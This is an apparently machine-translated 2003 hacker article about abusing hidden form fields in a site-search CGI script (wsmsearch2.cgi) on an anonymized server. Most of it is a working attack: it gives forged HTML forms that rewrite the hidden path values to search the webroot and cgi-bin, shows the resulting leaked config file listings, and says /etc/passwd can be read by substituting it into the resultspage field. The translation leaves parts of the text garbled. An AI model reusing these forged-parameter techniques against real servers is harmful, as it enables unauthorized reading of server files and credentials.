Leaking of information about the server through a hidden field html-code

Leaking of information about the server through a hidden field html-code
[2003/10/08, durito] How many times have talked about the dangers hidden in hidden forms, but still there are craftsmen who neglect it.
In a html-code index'noy www.xxx.com server pages have such a fragment: (unnecessary design elements removed) 
 <Form method = POST action = .. / .. / cgi-bin / wsmsearch2.cgi> Search Site: <input type = text name = terms size = 20> <input type = hidden name = boolean value = AND> <input type = hidden name = case value = Insensitive> <input type = hidden name = quicksearch value = NO> <input type = hidden name = max value = 50> <input type = hidden name = faqfile value = "/ opt2 / xxx / httpd / htdocs _
 http://www.xxx.com/ _ *. *
 manual / updates / _ http://www.xxx.com "> <input type = hidden name = resultspage value = / opt2 / xxx / httpd / htdocs / results.html> <input type = submit value = Search!>
as has become clear, it is the script search site system. but these lines are especially interesting: 
 <Input type = hidden name = faqfile value = "/ opt2 / xxx / httpd / htdocs _
 http://www.xxx.com/ _ *. *
 manual / updates / _ http://www.xxx.com "> <input type = hidden name = resultspage value = / opt2 / xxx / httpd / htdocs / results.html>
/opt2/xxx/httpd/htdocs - this is the way The installation site, but that's not all.
Search script takes its data from a hidden form: 
 <Input type = hidden name = boolean value = AND> <input type = hidden name = case value = Insensitive> <input type = hidden name = quicksearch value = NO> <input type = hidden name = max value = 50> <input type = hidden name = faqfile value = "/ opt2 / xxx / httpd / htdocs _
 http://www.xxx.com/ _ *. *
 manual / updates / _ http://www.xxx.com "> <input type = hidden name = resultspage value = / opt2 / xxx / httpd / htdocs / results.html>
that is, the search carried out in folders: manual/ updates/ and the root server folder http://www.xxx.com/ _ *.*
(it is interesting that this script was found poikovogo file: www_xxx_user_list.txt in the server root, it is a list of users).

so here it is possible to manipulate the query script. create html but with this code: 
 <Form method = POST action = .. / .. / .. / www.xxx.com/cgi-bin/wsmsearch2.cgi>Search Site: <input type = text name = terms size = 20> <input type = hidden name = boolean value = AND> <input type = hidden name = case value = Insensitive> <input type = hidden name = quicksearch value = NO> <input type = hidden name = max value = 50> <input type = hidden name = faqfile value = / opt2 / xxx / httpd / htdocs> <input type = hidden name = resultspage value = / opt2 / xxx / httpd / htdocs / results.html> <input type = submit value = Search!>
that is, just remove the lines: _ http://www.xxx.com/ _ *.* manual/ updates/ _ http://www.xxx.com and perform a search query on the entire site.
You can also search for files and /opt2/xxx/httpd/htdocs/cgi-bin/ : 
 <Form method = POST action = .. / .. / .. / www.xxx.com/cgi-bin/wsmsearch2.cgi>Search Site: <input type = text name = terms size = 20> <input type = hidden name = boolean value = AND> <input type = hidden name = case value = Insensitive> <input type = hidden name = quicksearch value = NO> <input type = hidden name = max value = 50> <input type = hidden name = faqfile value = "/ opt2 / xxx / httpd / htdocs_
 http://www.xxx.com/ _ *. *
 cgi-bin / _ http://www.xxx.com "> <input type = hidden name = resultspage value = / opt2 / xxx / httpd / htdocs / results.html> <input type = submit value = Search!>
Now it has been found that as a result of these requests: 
 Here are your search results for the keyword (s) conf.dont_use in order of
 relevance.

 1) conf.dont_use / srm.conf.old SIZE: 7354 bytes TYPE: Unknown
 Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0
 partial matches: 0
 2) conf.dont_use / srm.conf SIZE: 7436 bytes TYPE: Unknown
 Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0
 partial matches: 0
 3) conf.dont_use / sessiond.conf SIZE: 159 bytes TYPE: Unknown
 Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0
 partial matches: 0
 4) conf.dont_use / mime.types SIZE: 2652 bytes TYPE: Unknown
 Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0
 partial matches: 0
 5) conf.dont_use / imagemap.conf SIZE: 1062 bytes TYPE: Unknown
 Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0
 partial matches: 0
 6) conf.dont_use / httpsd.conf.dave SIZE: 43652 bytes TYPE: Unknown
 Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0
 partial matches: 0
 7) conf.dont_use / httpsd.conf.11-20-2001 SIZE: 43841 bytes TYPE: Unknown
 Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0
 partial matches: 0
 8) conf.dont_use / httpsd.conf-backup SIZE: 13243 bytes TYPE: Unknown
 Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0
 partial matches: 0
 9) conf.dont_use / httpsd.conf SIZE: 43927 bytes TYPE: Unknown
 Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0
 partial matches: 0
 10) conf.dont_use / httpd.conf.vhback SIZE: 7225 bytes TYPE: Unknown
 Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0
 partial matches: 0
 11) conf.dont_use / httpd.conf.11-20-2001 SIZE: 7451 bytes TYPE: Unknown
 Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0
 partial matches: 0
 12) conf.dont_use / httpd.conf SIZE: 7451 bytes TYPE: Unknown
 Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0
 partial matches: 0
 13) conf.dont_use / access.conf SIZE: 1725 bytes TYPE: Unknown
 Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0
 partial matches: 0
and another script: 
 Here are your search results for the keyword (s) securedata in order of
 relevance.

 1) cgi-bin / conf.dont_use / resetsecuredata.cgi SIZE: bytes TYPE: CGIssript
 Term: securedata Filename matches: 0,1 Title matches: 0,0 exact matches: 0
 partial matches: 0

Well-loved /etc/passwd is obtained quite simply: simply the value of the hidden field resultspage replaced by /etc/passwd .

This is how server administrators sometimes try to patch up all sorts of holes, nakatyvaya the latest patches, and the information leaked from a html-code.

your bug Durito
_________________
EAT THE RICH!

Copyright 2002-2003 by void.ru All rights reserved.
Liked? Subscribe to RSS news!
You can also support shram.kiev.ua, click:

Do not be amiss to your friends and find out this information, share with them the article!